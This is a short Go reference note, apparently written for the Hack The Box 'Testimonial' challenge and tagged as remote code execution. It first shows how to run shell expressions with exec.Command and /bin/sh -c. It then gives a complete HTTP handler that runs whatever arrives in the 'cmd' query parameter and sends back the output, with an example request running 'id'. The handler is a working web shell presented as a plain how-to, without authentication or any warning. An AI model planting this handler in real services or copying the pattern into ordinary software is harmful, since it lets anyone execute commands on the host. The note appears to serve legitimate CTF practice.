Operating-System Commands

Execute operating-system commands in Go

exec.Command() receives an executable followed by its arguments. Passing a complete shell expression as the executable does not process spaces, pipes, redirection, or variable expansion.

Passing the command to /bin/sh -c preserves the complete expression as one shell argument:

import "os/exec"

command := "<COMMAND>"
process := exec.Command("/bin/sh", "-c", command)
outputBytes, err := process.CombinedOutput()
output := string(outputBytes)

CombinedOutput() waits for the command to finish and captures standard output and standard error together. err is non-nil when the process cannot start or exits unsuccessfully.

Return command output from an HTTP handler

import (
	"fmt"
	"net/http"
	"os/exec"
)

func commandHandler(w http.ResponseWriter, r *http.Request) {
	command := r.URL.Query().Get("cmd")

	if command == "" {
		return
	}

	process := exec.Command("/bin/sh", "-c", command)
	outputBytes, err := process.CombinedOutput()

	w.Header().Set("Content-Type", "text/plain")
	_, _ = w.Write(outputBytes)

	if err != nil {
		_, _ = fmt.Fprintf(w, "\ncommand error: %v\n", err)
	}
}

A request to /command?cmd=id returns both successful command output and shell error output directly in the response body.

_{Find by: go, golang, os exec, exec command, operating system command, sh c, shell command, combinedoutput, stdout, stderr, command handler, in band command output, RCE · Source: HTB/Testimonial}